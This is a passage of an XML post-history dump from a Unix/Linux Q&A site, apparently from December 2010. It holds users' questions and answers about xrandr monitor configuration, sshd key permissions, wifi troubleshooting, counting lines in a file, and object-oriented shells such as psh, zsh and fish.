  <row Id="9817" PostHistoryTypeId="2" PostId="4489" RevisionGUID="9b52ad28-6c68-4f17-ad85-90aeca645f37" CreationDate="2010-12-02T14:12:23.463" UserId="2929" Text="Hello there, &#xD;&#xA;&#xD;&#xA;is there a tool which enables one to:&#xD;&#xA;&#xD;&#xA; * remember current RandR configuration (position, orientation, resolution etc) on per-monitor basis,&#xD;&#xA; * automatically apply last known good configuration as soon as the display is plugged in, with no need to muck around with applets or xrandr(1)?&#xD;&#xA;&#xD;&#xA;The configurations would have to be applied on a per-user, per-display basis. &#xD;&#xA;&#xD;&#xA;If there is no such tool in the wild, I'd like to throw together one myself, but as far as I can see, there's no way to tell that a monitor has been plugged in. Do I have to poll with xrandr -q once in a while to figure out that an output was connected or disconnected, or is there a more efficient way to do it? Can udev be tuned to do just that?" />
  <row Id="9818" PostHistoryTypeId="1" PostId="4489" RevisionGUID="9b52ad28-6c68-4f17-ad85-90aeca645f37" CreationDate="2010-12-02T14:12:23.463" UserId="2929" Text="A tool for automatically applying RandR configuration when external display is plugged in" />
  <row Id="9819" PostHistoryTypeId="3" PostId="4489" RevisionGUID="9b52ad28-6c68-4f17-ad85-90aeca645f37" CreationDate="2010-12-02T14:12:23.463" UserId="2929" Text="élinuxàéxorgàéudevàéxrandrà" />
  <row Id="9820" PostHistoryTypeId="2" PostId="4490" RevisionGUID="8501e3c0-73ec-4086-9797-4084a230fdf1" CreationDate="2010-12-02T14:18:26.850" UserId="1851" Text="This is another solution to your problem although it doesn't really answer your question. Edit xorg.conf, inserting the following into Section &quot;InputDevice&quot;:&#xD;&#xA;&#xD;&#xA;     Option &quot;XkbOptions&quot; &quot;ctrl:swapcaps&quot;" />
  <row Id="9821" PostHistoryTypeId="2" PostId="4491" RevisionGUID="298702e4-95c1-4940-b388-593bacbf11a2" CreationDate="2010-12-02T14:48:07.360" UserId="732" Text="sshd gets weird about permissions on $HOME, $HOME/.ssh (both directories) and on $HOME/.ssh/authorized_keys.&#xD;&#xA;&#xD;&#xA;One of my linux boxes ended up with drwxrwxrwx permissions on my $HOME directory.  An Arch linux box absolutely would not log in using public keys until I removed 'w' permission for group, other on my $HOME directory.&#xD;&#xA;&#xD;&#xA;Try making $HOME and $HOME/.ssh/ have more restrictive permissions for group and other.  See if that doesn't let sshd do its stuff." />
  <row Id="9822" PostHistoryTypeId="5" PostId="4424" RevisionGUID="73d75401-11cb-48e1-8751-3a4447c4e257" CreationDate="2010-12-02T15:38:44.857" UserId="1267" Comment="added 644 characters in body" Text="I am using a Fedora 13 OS and i see that in the network connections the WiFi thing has been disabled. Generally when there is a WiFi connection around it would show in the Wireless networks option, but it is not showing for me. What to do, in order to keep the WiFi mode always active.&#xD;&#xA;&#xD;&#xA;**ADDED** I have tried the following as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have tried the following&#xD;&#xA;&#xD;&#xA;- iwlist wlan0 power&#xD;&#xA;&#xD;&#xA;it says the mode is off.&#xD;&#xA;&#xD;&#xA;ifconfig wlan0 gives me the following output.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;wlan0 Link encap:Ethernet HWaddr 00:19:7D3:0C:FD &#xD;&#xA;UP BROADCAST MULTICAST MTU:1500 Metric:1&#xD;&#xA;RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;collisions:0 txqueuelen:1000 &#xD;&#xA;RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;iwconfig has the following&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;wlan0 IEEE 802.11bg Mode:Managed Access Point: Not-Associated &#xD;&#xA;Tx-Power=20 dBm &#xD;&#xA;Retry long limit:7 RTS thr:off Fragment thr:off&#xD;&#xA;Power Management:off&#xD;&#xA;" />
  <row Id="9823" PostHistoryTypeId="5" PostId="4424" RevisionGUID="f26291f0-13e8-455f-a297-ab544c1a681b" CreationDate="2010-12-02T16:14:28.190" UserId="73" Comment="deleted 21 characters in body" Text="I am using a Fedora 13 OS and i see that in the network connections the WiFi thing has been disabled. Generally when there is a WiFi connection around it would show in the Wireless networks option, but it is not showing for me. What to do, in order to keep the WiFi mode always active.&#xD;&#xA;&#xD;&#xA;**ADDED**&#xD;&#xA;&#xD;&#xA;I have tried the following&#xD;&#xA;&#xD;&#xA;    iwlist wlan0 power&#xD;&#xA;&#xD;&#xA;It says the mode is off.&#xD;&#xA;&#xD;&#xA;`ifconfig wlan0` gives me the following output:&#xD;&#xA;&#xD;&#xA;&gt; wlan0 Link encap:Ethernet HWaddr 00:19:7D3:0C:FD  &#xD;&#xA;UP BROADCAST MULTICAST MTU:1500 Metric:1  &#xD;&#xA;RX packets:0 errors:0 dropped:0 overruns:0 frame:0  &#xD;&#xA;TX packets:0 errors:0 dropped:0 overruns:0 carrier:0  &#xD;&#xA;collisions:0 txqueuelen:1000  &#xD;&#xA;RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)&#xD;&#xA;&#xD;&#xA;`iwconfig` has the following:&#xD;&#xA;&#xD;&#xA;&gt; wlan0 IEEE 802.11bg Mode:Managed Access Point: Not-Associated  &#xD;&#xA;Tx-Power=20 dBm  &#xD;&#xA;Retry long limit:7 RTS thr:off Fragment thr:off  &#xD;&#xA;Power Management:off&#xD;&#xA;" />
  <row Id="9824" PostHistoryTypeId="5" PostId="3416" RevisionGUID="ed1db886-2b5d-44b5-85dd-bf708645dee2" CreationDate="2010-12-02T17:59:37.013" UserId="73" Comment="deleted 12 characters in body" Text="Is it possible to kill a process running in an Ubuntu machine from a Windows (XP) machine remotely connected via LAN?&#xD;&#xA;&#xD;&#xA;I can kill the process in a windows machine from a remote windows machine (in LAN) by the following command:&#xD;&#xA;&#xD;&#xA;    taskkill /S system /U username /P password  /IM process.exe&#xD;&#xA;&#xD;&#xA;Is there any thing like that to kill the process running on the Linux machine?&#xD;&#xA;" />
  <row Id="9825" PostHistoryTypeId="5" PostId="4434" RevisionGUID="4bbbe64c-1186-48d0-b320-364c3e0014ea" CreationDate="2010-12-02T18:00:03.067" UserId="73" Comment="deleted 26 characters in body; added 2 characters in body" Text="How can I produce an installer for a set of source codes for a specific application in Linux? Also, what are the actions happening when one installs software in Linux?&#xD;&#xA;" />
  <row Id="9826" PostHistoryTypeId="2" PostId="4492" RevisionGUID="831677ab-74dd-4337-866c-d834588e83ba" CreationDate="2010-12-02T19:30:19.663" UserId="1131" Text="I am not aware of such a tool and I guess that not a lot of hardware support the generation of such events (an Intel related discussion][1]).&#xD;&#xA;&#xD;&#xA;And polling would not be a very elegant solution - would waste CPU cycles and energy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lists.x.org/archives/xorg/2007-July/026067.html" />
  <row Id="9827" PostHistoryTypeId="2" PostId="4493" RevisionGUID="77c0f075-5d22-4774-a0cb-979388c20904" CreationDate="2010-12-02T19:34:35.290" UserId="131" Text="My home network uses WPA2 for encryption. To connect to it from my Arch Linux insallation, I first tried using NetworkManager, however, that only managed to connect for a minute at most before dropping the connection.&#xD;&#xA;&#xD;&#xA;I replaced it with wicd, which worked satisfactorily until somewhat recently. Since then, if it fails to establish the connection at startup, or if it loses connection, it will be unable to establish a connection. Attempting to reconnect with the GUI slows the system down so much that I have to switch from X to a tty and kill the process. The curses interface is unable to establish a connection in this circumstances, but doesn't impair system performance.&#xD;&#xA;&#xD;&#xA;Restarting the daemon is not enough to fix it from the bugged state. I need to power the system off and on again.&#xD;&#xA;&#xD;&#xA;The windows installation on the same laptop does suffer some intermittent connectivity problems (it's a crappy ISP router powering the network), but recovers from them, only requiring reconnecting to the network. Prior to using Arch Linux, I used to use Ubuntu as the Linux distro on the laptop, and that had the same results as Windows.&#xD;&#xA;&#xD;&#xA;What could be causing this problem (which I suspect may be related to the earlier NetworkManager problem), and how can I resolve it?&#xD;&#xA;&#xD;&#xA;For what it's worth, my wireless network card is a broadcom BCM4312, and it using the b43 drivers." />
  <row Id="9828" PostHistoryTypeId="1" PostId="4493" RevisionGUID="77c0f075-5d22-4774-a0cb-979388c20904" CreationDate="2010-12-02T19:34:35.290" UserId="131" Text="How can I solve wifi connection problems between Arch Linux and a WPA2 network?" />
  <row Id="9829" PostHistoryTypeId="3" PostId="4493" RevisionGUID="77c0f075-5d22-4774-a0cb-979388c20904" CreationDate="2010-12-02T19:34:35.290" UserId="131" Text="éwirelessàénetworkmanageràéwicdà" />
  <row Id="9830" PostHistoryTypeId="5" PostId="4493" RevisionGUID="a58a900e-dc3b-4449-9a34-4960ff4ab02d" CreationDate="2010-12-02T19:39:43.247" UserId="131" Comment="added 3 characters in body" Text="My home network uses WPA2 for encryption. To connect to it from my Arch Linux insallation, I first tried using NetworkManager, however, that only managed to connect for a minute at most before dropping the connection.&#xD;&#xA;&#xD;&#xA;I replaced it with wicd, which worked satisfactorily until somewhat recently. Since then, if it fails to establish the connection at startup, or if it loses connection, it will be unable to establish a connection. Attempting to reconnect with the GUI slows the system down so much that I have to switch from X to a tty and kill the process. The curses interface is unable to establish a connection in this circumstances, but doesn't impair system performance.&#xD;&#xA;&#xD;&#xA;Restarting the daemon is not enough to fix it from the bugged state. I need to power the system off and on again.&#xD;&#xA;&#xD;&#xA;The windows installation on the same laptop does suffer some intermittent connectivity problems (it's a crappy ISP router powering the network), but recovers from them, only requiring reconnecting to the network. Prior to using Arch Linux, I used to use Ubuntu as the Linux distro on the laptop, and that had the same results as Windows.&#xD;&#xA;&#xD;&#xA;What could be causing this problem (which I suspect may be related to the earlier NetworkManager problem), and how can I resolve it?&#xD;&#xA;&#xD;&#xA;For what it's worth, my wireless network card is a broadcom BCM4312, and it is using the b43 drivers." />
  <row Id="9831" PostHistoryTypeId="6" PostId="4487" RevisionGUID="8877b255-3286-42f2-96e8-83142ae283a7" CreationDate="2010-12-02T19:42:01.177" UserId="885" Comment="edited tags" Text="éxorgàémailàésoftwareörecàénotificationsàéimapà" />
  <row Id="9832" PostHistoryTypeId="5" PostId="4482" RevisionGUID="bd6744c4-9373-42e0-a177-9ceb5fcbcea8" CreationDate="2010-12-02T20:10:32.370" UserId="885" Comment="fixed read builtin invocation" Text="As Michael said, `wc -l` is the way to go.  But, just in case you inexplicably have `bash`, `perl`, or `awk` but not `wc`, here are a few more solutions:&#xD;&#xA;&#xD;&#xA;###Bash-only&#xD;&#xA;&#xD;&#xA;    $ LINECT=0; while read -r LINE; do (( LINECT++ )); done &lt; file.txt; echo $LINECT&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###Perl Solutions&#xD;&#xA;&#xD;&#xA;    $ perl -lne 'END { print $. }' file.txt&#xD;&#xA;&#xD;&#xA;and the far less readable:&#xD;&#xA;   &#xD;&#xA;    $ perl -lne '}{ print $.' file.txt&#xD;&#xA;###Awk Solution&#xD;&#xA;&#xD;&#xA;    $  awk 'END {print NR}' file.txt" />
  <row Id="9833" PostHistoryTypeId="2" PostId="4494" RevisionGUID="9defa2dc-01cf-483b-8cf1-045941372392" CreationDate="2010-12-02T20:29:36.697" UserId="1974" Text="Sorry everyone, it was a bonehead error on my part. The `authorized_keys2` file for root was incorrect. Once I re-copied that file to the server, it works as it should." />
  <row Id="9834" PostHistoryTypeId="5" PostId="4493" RevisionGUID="c2931f19-ee1b-43c6-90b8-b3a37077fa2f" CreationDate="2010-12-02T20:30:59.663" UserId="131" Comment="added 1 characters in body" Text="My home network uses WPA2 for encryption. To connect to it from my Arch Linux insallation, I first tried using NetworkManager, however, that only managed to connect for a minute at most before dropping the connection.&#xD;&#xA;&#xD;&#xA;I replaced it with wicd, which worked satisfactorily until somewhat recently. Since then, if it fails to establish the connection at startup, or if it loses connection, it will be unable to establish a connection. Attempting to reconnect with the GUI slows the system down so much that I have to switch from X to a tty and kill the process. The curses interface is unable to establish a connection in these circumstances, but doesn't impair system performance.&#xD;&#xA;&#xD;&#xA;Restarting the daemon is not enough to fix it from the bugged state. I need to power the system off and on again.&#xD;&#xA;&#xD;&#xA;The windows installation on the same laptop does suffer some intermittent connectivity problems (it's a crappy ISP router powering the network), but recovers from them, only requiring reconnecting to the network. Prior to using Arch Linux, I used to use Ubuntu as the Linux distro on the laptop, and that had the same results as Windows.&#xD;&#xA;&#xD;&#xA;What could be causing this problem (which I suspect may be related to the earlier NetworkManager problem), and how can I resolve it?&#xD;&#xA;&#xD;&#xA;For what it's worth, my wireless network card is a broadcom BCM4312, and it is using the b43 drivers." />
  <row Id="9835" PostHistoryTypeId="2" PostId="4495" RevisionGUID="a125e855-c857-4d05-8cd7-a49f74d4fc2c" CreationDate="2010-12-02T21:19:10.807" UserId="479" Text="Preface: I love bash and have no intention of starting any sort of argument or holy-war.&#xD;&#xA;&#xD;&#xA;This question is somewhat related to [this post][1] on superuser, but I don't think the OP really knew what he was asking for.  I use bash on FreeBSD, linux, OS X, and cygwin on Windows.  I've also had extensive experience recently with PowerShell on Windows.&#xD;&#xA;&#xD;&#xA;Is there a shell for *nix, already available or in the works, that is compatible with bash but adds a layer of object-oriented scripting into the mix?  The only thing I know of that comes close is the python console, but as far as I can tell it doesn't provide access to the standard shell environment.  For example, I can't just `cd ~` and `ls` from python.  I would have to use python to perform those tasks rather than the standard unix binaries.&#xD;&#xA;&#xD;&#xA;Does such a shell exist?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/198505/modern-shell-for-unix-something-like-powershell" />
  <row Id="9836" PostHistoryTypeId="1" PostId="4495" RevisionGUID="a125e855-c857-4d05-8cd7-a49f74d4fc2c" CreationDate="2010-12-02T21:19:10.807" UserId="479" Text="Object-oriented shell for *nix" />
  <row Id="9837" PostHistoryTypeId="3" PostId="4495" RevisionGUID="a125e855-c857-4d05-8cd7-a49f74d4fc2c" CreationDate="2010-12-02T21:19:10.807" UserId="479" Text="ébashàéshellàéscriptingà" />
  <row Id="9838" PostHistoryTypeId="5" PostId="4495" RevisionGUID="d3917c57-dc0b-4a39-9933-725c82b853b9" CreationDate="2010-12-02T21:31:37.240" UserId="479" Comment="added 55 characters in body; added 28 characters in body; added 40 characters in body" Text="Preface: I love bash and have no intention of starting any sort of argument or holy-war, and hopefully this is not an extremely naive question.&#xD;&#xA;&#xD;&#xA;This question is somewhat related to [this post][1] on superuser, but I don't think the OP really knew what he was asking for.  I use bash on FreeBSD, linux, OS X, and cygwin on Windows.  I've also had extensive experience recently with PowerShell on Windows.&#xD;&#xA;&#xD;&#xA;Is there a shell for *nix, already available or in the works, that is compatible with bash but adds a layer of object-oriented scripting into the mix?  The only thing I know of that comes close is the python console, but as far as I can tell it doesn't provide access to the standard shell environment.  For example, I can't just `cd ~` and `ls`, then 'chmod' inside the python console.  I would have to use python to perform those tasks rather than the standard unix binaries, or call the binaries using python code.&#xD;&#xA;&#xD;&#xA;Does such a shell exist?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/198505/modern-shell-for-unix-something-like-powershell" />
  <row Id="9839" PostHistoryTypeId="2" PostId="4496" RevisionGUID="966f5555-5de6-4803-9e02-3f507f039972" CreationDate="2010-12-02T22:03:59.133" UserId="2759" Text="There're [Rush][1] which uses ruby and [Psh][2] which is based on perl.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://rush.heroku.com/&#xD;&#xA;  [2]: http://www.focusresearch.com/gregor/sw/psh" />
  <row Id="9840" PostHistoryTypeId="2" PostId="4497" RevisionGUID="ee8ea076-76e5-4fac-98ec-0717e024dbb0" CreationDate="2010-12-02T22:51:30.963" UserId="885" Text="I can think of three desirable features in a shell:&#xD;&#xA;&#xD;&#xA;* Interactive usability: common commands should be quick to type; completion; ...&#xD;&#xA;* Programming: data structures; concurrency (jobs, pipe, ...); ...&#xD;&#xA;* System access: working with files, processes, windows, databases, system configuration, ...&#xD;&#xA;&#xD;&#xA;Unix shells tend to concentrate on the interactive aspect and subcontract most of the system access and some of the programming to external tools, such as:&#xD;&#xA;&#xD;&#xA;* [bc](http://en.wikipedia.org/wiki/Bc_programming_language) for simple math&#xD;&#xA;* [openssl](http://www.openssl.org/) for cryptography&#xD;&#xA;* [sed](http://en.wikipedia.org/wiki/Sed), [awk](http://en.wikipedia.org/wiki/AWK) and others for text processing&#xD;&#xA;* [nc](http://en.wikipedia.org/wiki/Netcat) for basic TCP/IP networking&#xD;&#xA;* `ftp` for FTP&#xD;&#xA;* `mail`, `Mail`, `mailx`, etc. for basic e-mail&#xD;&#xA;* `cron` for scheduled tasks&#xD;&#xA;* [wmctrl](http://tomas.styblo.name/wmctrl/) for basic X window manipulation&#xD;&#xA;* [dbus](http://www.freedesktop.org/wiki/Software/dbus) for various system information and configuration tasks&#xD;&#xA;* [dcop](http://api.kde.org/3.5-api/kdelibs-apidocs/dcop/html/index.html) and [qdbus](http://doc.trolltech.com/4.2/qdbus.html) for KDE libraries&#xD;&#xA;&#xD;&#xA;And many, many things can be done by invoking a command with the right arguments or piped input. This is a very powerful approach — better have one program per task that does it well, than a single program that does everything but badly — but it does have its limitations.&#xD;&#xA;&#xD;&#xA;A major limitation of unix shells, and I suspect this is what you're after with your “object-oriented scripting” requirement, is that they are not good at retaining information from one command to the next, or combining commands in ways fancier than a pipeline. In particular, inter-program communication is text-based, so applications can only be combined if they serialize their data in a compatible way. This is both a blessing and a curse: the everything-is-text approach makes it easy to accomplish simple tasks quickly, but raises the barrier for more complex tasks.&#xD;&#xA;&#xD;&#xA;Interactive usability also runs rather against program maintainability. Interactive programs should be short, require little quoting, not bother you with variable declarations or typing, etc. Maintainable programs should be readable (so not have many abbreviations), should be readable (so you don't have to wonder whether a bare word is a string, a function name, a variable name, etc.), should have consistency checks such as variable declarations and typing, etc.&#xD;&#xA;&#xD;&#xA;In summary, a shell is a difficult compromise to reach. Ok, this ends the rant section, on to the examples.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;* The [**Perl Shell (psh)**](http://www.focusresearch.com/gregor/sw/psh/) “combines the interactive nature of a Unix shell with the power of Perl”. Simple commands (even pipelines) can be entered in shell syntax; everything else is Perl. The project hasn't been in development for a long time. It's usable, but hasn't reached the point where I'd consider using it over pure Perl (for scripting) or pure shell (interactively or for scripting).&#xD;&#xA;&#xD;&#xA;* [**IPython**](http://ipython.scipy.org/) is an improved interactive Python console, particularly targetted at numerical and parallel computing. This is a relatively young project.&#xD;&#xA;&#xD;&#xA;* [**irb (interactive ruby)**](http://ruby-doc.org/docs/ProgrammingRuby/html/irb.html) is the Ruby equivalent of the Python console.&#xD;&#xA;&#xD;&#xA;* [**scsh**](http://www.scsh.net/) is a scheme implementation (i.e. a decent programming language) with the kind of system bindings traditionally found in unix shells (strings, processes, files). It doesn't aim to be usable as an interactive shell however.&#xD;&#xA;&#xD;&#xA;* [**zsh**](http://www.zsh.org/) is an improved interactive shell. Its strong point is interactivity (command line edition, completion, common tasks accomplished with terse but cryptic syntax). Its programming features aren't that great (on par with ksh), but it comes with a number of libraries for terminal control, regexps, networking, etc.&#xD;&#xA;&#xD;&#xA;* [**fish**](http://fishshell.org/) is a clean start at a unix-style shell. It doesn't have better programming or system access features, but has room to evolve them one day (in the form of a new, more powerful set of control structures).&#xD;&#xA;" />
  <row Id="9841" PostHistoryTypeId="5" PostId="4497" RevisionGUID="20505576-08da-4cc5-8c9a-1782d514c66d" CreationDate="2010-12-02T23:00:58.520" UserId="885" Comment="addendum about files" Text="I can think of three desirable features in a shell:&#xD;&#xA;&#xD;&#xA;* Interactive usability: common commands should be quick to type; completion; ...&#xD;&#xA;* Programming: data structures; concurrency (jobs, pipe, ...); ...&#xD;&#xA;* System access: working with files, processes, windows, databases, system configuration, ...&#xD;&#xA;&#xD;&#xA;Unix shells tend to concentrate on the interactive aspect and subcontract most of the system access and some of the programming to external tools, such as:&#xD;&#xA;&#xD;&#xA;* [bc](http://en.wikipedia.org/wiki/Bc_programming_language) for simple math&#xD;&#xA;* [openssl](http://www.openssl.org/) for cryptography&#xD;&#xA;* [sed](http://en.wikipedia.org/wiki/Sed), [awk](http://en.wikipedia.org/wiki/AWK) and others for text processing&#xD;&#xA;* [nc](http://en.wikipedia.org/wiki/Netcat) for basic TCP/IP networking&#xD;&#xA;* `ftp` for FTP&#xD;&#xA;* `mail`, `Mail`, `mailx`, etc. for basic e-mail&#xD;&#xA;* `cron` for scheduled tasks&#xD;&#xA;* [wmctrl](http://tomas.styblo.name/wmctrl/) for basic X window manipulation&#xD;&#xA;* [dbus](http://www.freedesktop.org/wiki/Software/dbus) for various system information and configuration tasks&#xD;&#xA;* [dcop](http://api.kde.org/3.5-api/kdelibs-apidocs/dcop/html/index.html) and [qdbus](http://doc.trolltech.com/4.2/qdbus.html) for KDE libraries&#xD;&#xA;&#xD;&#xA;Many, many things can be done by invoking a command with the right arguments or piped input. This is a very powerful approach — better have one tool per task that does it well, than a single program that does everything but badly — but it does have its limitations.&#xD;&#xA;&#xD;&#xA;A major limitation of unix shells, and I suspect this is what you're after with your “object-oriented scripting” requirement, is that they are not good at retaining information from one command to the next, or combining commands in ways fancier than a pipeline. In particular, inter-program communication is text-based, so applications can only be combined if they serialize their data in a compatible way. This is both a blessing and a curse: the everything-is-text approach makes it easy to accomplish simple tasks quickly, but raises the barrier for more complex tasks.&#xD;&#xA;&#xD;&#xA;Interactive usability also runs rather against program maintainability. Interactive programs should be short, require little quoting, not bother you with variable declarations or typing, etc. Maintainable programs should be readable (so not have many abbreviations), should be readable (so you don't have to wonder whether a bare word is a string, a function name, a variable name, etc.), should have consistency checks such as variable declarations and typing, etc.&#xD;&#xA;&#xD;&#xA;In summary, a shell is a difficult compromise to reach. Ok, this ends the rant section, on to the examples.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;* The [**Perl Shell (psh)**](http://www.focusresearch.com/gregor/sw/psh/) “combines the interactive nature of a Unix shell with the power of Perl”. Simple commands (even pipelines) can be entered in shell syntax; everything else is Perl. The project hasn't been in development for a long time. It's usable, but hasn't reached the point where I'd consider using it over pure Perl (for scripting) or pure shell (interactively or for scripting).&#xD;&#xA;&#xD;&#xA;* [**IPython**](http://ipython.scipy.org/) is an improved interactive Python console, particularly targetted at numerical and parallel computing. This is a relatively young project.&#xD;&#xA;&#xD;&#xA;* [**irb (interactive ruby)**](http://ruby-doc.org/docs/ProgrammingRuby/html/irb.html) is the Ruby equivalent of the Python console.&#xD;&#xA;&#xD;&#xA;* [**scsh**](http://www.scsh.net/) is a scheme implementation (i.e. a decent programming language) with the kind of system bindings traditionally found in unix shells (strings, processes, files). It doesn't aim to be usable as an interactive shell however.&#xD;&#xA;&#xD;&#xA;* [**zsh**](http://www.zsh.org/) is an improved interactive shell. Its strong point is interactivity (command line edition, completion, common tasks accomplished with terse but cryptic syntax). Its programming features aren't that great (on par with ksh), but it comes with a number of libraries for terminal control, regexps, networking, etc.&#xD;&#xA;&#xD;&#xA;* [**fish**](http://fishshell.org/) is a clean start at a unix-style shell. It doesn't have better programming or system access features, but has room to evolve them one day (in the form of a new, more powerful set of control structures).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Addendum: another part of the unix toolbox is treating many things as files:&#xD;&#xA;&#xD;&#xA;* Most hardware devices are accessible as files.&#xD;&#xA;* Under Linux, `/sys` provides more hardware and system control.&#xD;&#xA;* On many unix variants, process control can be done through the `/proc` filesystem.&#xD;&#xA;* [FUSE](http://fuse.sourceforge.net/) makes it easy to write new filesystems. There are already existing filesystems for converting file formats on the fly, accessing files over various network protocols, looking inside archives, etc.&#xD;&#xA;&#xD;&#xA;Maybe the future of unix shells is not better system access through commands (and better control structures to combine commands) but better system access through filesystems (which combine somewhat differently — I don't think we've worked out what the key idioms (like the shell pipe) are yet).&#xD;&#xA;" />
  <row Id="9842" PostHistoryTypeId="2" PostId="4498" RevisionGUID="59cbb3ac-a066-45c4-a21e-99defd41b974" CreationDate="2010-12-02T23:05:56.467" UserId="2180" Text="You can start by running wpa_supplicant manually without the -B option: it will stay in the foreground and show you what's happening. The Arch wiki has a good section on [wpa_supplicant][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/WPA_supplicant" />
  <row Id="9843" PostHistoryTypeId="5" PostId="4497" RevisionGUID="21b6cbb5-cb37-44e4-81c1-b9475163b73b" CreationDate="2010-12-02T23:18:45.737" UserId="885" Comment="dbus corrections" Text="I can think of three desirable features in a shell:&#xD;&#xA;&#xD;&#xA;* Interactive usability: common commands should be quick to type; completion; ...&#xD;&#xA;* Programming: data structures; concurrency (jobs, pipe, ...); ...&#xD;&#xA;* System access: working with files, processes, windows, databases, system configuration, ...&#xD;&#xA;&#xD;&#xA;Unix shells tend to concentrate on the interactive aspect and subcontract most of the system access and some of the programming to external tools, such as:&#xD;&#xA;&#xD;&#xA;* [bc](http://en.wikipedia.org/wiki/Bc_programming_language) for simple math&#xD;&#xA;* [openssl](http://www.openssl.org/) for cryptography&#xD;&#xA;* [sed](http://en.wikipedia.org/wiki/Sed), [awk](http://en.wikipedia.org/wiki/AWK) and others for text processing&#xD;&#xA;* [nc](http://en.wikipedia.org/wiki/Netcat) for basic TCP/IP networking&#xD;&#xA;* `ftp` for FTP&#xD;&#xA;* `mail`, `Mail`, `mailx`, etc. for basic e-mail&#xD;&#xA;* `cron` for scheduled tasks&#xD;&#xA;* [wmctrl](http://tomas.styblo.name/wmctrl/) for basic X window manipulation&#xD;&#xA;* [dcop](http://api.kde.org/3.5-api/kdelibs-apidocs/dcop/html/index.html) for KDE ≤3.x libraries&#xD;&#xA;* [dbus](http://www.freedesktop.org/wiki/Software/dbus) tools (`dbus-*` or [qdbus](http://doc.trolltech.com/4.2/qdbus.html)) for various system information and configuration tasks (including modern desktop environments such as KDE ≥4)&#xD;&#xA;&#xD;&#xA;Many, many things can be done by invoking a command with the right arguments or piped input. This is a very powerful approach — better have one tool per task that does it well, than a single program that does everything but badly — but it does have its limitations.&#xD;&#xA;&#xD;&#xA;A major limitation of unix shells, and I suspect this is what you're after with your “object-oriented scripting” requirement, is that they are not good at retaining information from one command to the next, or combining commands in ways fancier than a pipeline. In particular, inter-program communication is text-based, so applications can only be combined if they serialize their data in a compatible way. This is both a blessing and a curse: the everything-is-text approach makes it easy to accomplish simple tasks quickly, but raises the barrier for more complex tasks.&#xD;&#xA;&#xD;&#xA;Interactive usability also runs rather against program maintainability. Interactive programs should be short, require little quoting, not bother you with variable declarations or typing, etc. Maintainable programs should be readable (so not have many abbreviations), should be readable (so you don't have to wonder whether a bare word is a string, a function name, a variable name, etc.), should have consistency checks such as variable declarations and typing, etc.&#xD;&#xA;&#xD;&#xA;In summary, a shell is a difficult compromise to reach. Ok, this ends the rant section, on to the examples.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;* The [**Perl Shell (psh)**](http://www.focusresearch.com/gregor/sw/psh/) “combines the interactive nature of a Unix shell with the power of Perl”. Simple commands (even pipelines) can be entered in shell syntax; everything else is Perl. The project hasn't been in development for a long time. It's usable, but hasn't reached the point where I'd consider using it over pure Perl (for scripting) or pure shell (interactively or for scripting).&#xD;&#xA;&#xD;&#xA;* [**IPython**](http://ipython.scipy.org/) is an improved interactive Python console, particularly targetted at numerical and parallel computing. This is a relatively young project.&#xD;&#xA;&#xD;&#xA;* [**irb (interactive ruby)**](http://ruby-doc.org/docs/ProgrammingRuby/html/irb.html) is the Ruby equivalent of the Python console.&#xD;&#xA;&#xD;&#xA;* [**scsh**](http://www.scsh.net/) is a scheme implementation (i.e. a decent programming language) with the kind of system bindings traditionally found in unix shells (strings, processes, files). It doesn't aim to be usable as an interactive shell however.&#xD;&#xA;&#xD;&#xA;* [**zsh**](http://www.zsh.org/) is an improved interactive shell. Its strong point is interactivity (command line edition, completion, common tasks accomplished with terse but cryptic syntax). Its programming features aren't that great (on par with ksh), but it comes with a number of libraries for terminal control, regexps, networking, etc.&#xD;&#xA;&#xD;&#xA;* [**fish**](http://fishshell.org/) is a clean start at a unix-style shell. It doesn't have better programming or system access features, but has room to evolve them one day (in the form of a new, more powerful set of control structures).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Addendum: another part of the unix toolbox is treating many things as files:&#xD;&#xA;&#xD;&#xA;* Most hardware devices are accessible as files.&#xD;&#xA;* Under Linux, `/sys` provides more hardware and system control.&#xD;&#xA;* On many unix variants, process control can be done through the `/proc` filesystem.&#xD;&#xA;* [FUSE](http://fuse.sourceforge.net/) makes it easy to write new filesystems. There are already existing filesystems for converting file formats on the fly, accessing files over various network protocols, looking inside archives, etc.&#xD;&#xA;&#xD;&#xA;Maybe the future of unix shells is not better system access through commands (and better control structures to combine commands) but better system access through filesystems (which combine somewhat differently — I don't think we've worked out what the key idioms (like the shell pipe) are yet).&#xD;&#xA;" />
  <row Id="9844" PostHistoryTypeId="2" PostId="4499" RevisionGUID="ab8633e2-c148-4e36-a797-57b9d65a9084" CreationDate="2010-12-03T00:21:12.133" UserId="1535" Text="If you're not averse to editing text files, you may find openbox a suitable desktop environment/window manager.  It's extremely lean and provides most modern features — other than a GUI configuration menu: all configuration is done with a shell script and an XML file.  I personally find this preferable; the XML file is well documented inline and is organized in pretty much the way I'd expect it to be.  Further documentation is available in the [configuration guide](http://openbox.org/wiki/Help:Configuration).&#xD;&#xA;&#xD;&#xA;That being said, some features like panels etc. may not be suitable to your tastes.  Openbox itself doesn't provide a panel or applets, but it implements a standard which many &quot;independent&quot; panel apps support.  I actually stopped using panels when I switched to openbox.  I find that the info from a few wmaker applets is enough for me.  These applets serve much the same purpose as panel applets, providing sensor readouts and such, but have far lighter memory demands.  `aptitude search ~n^wm` will get 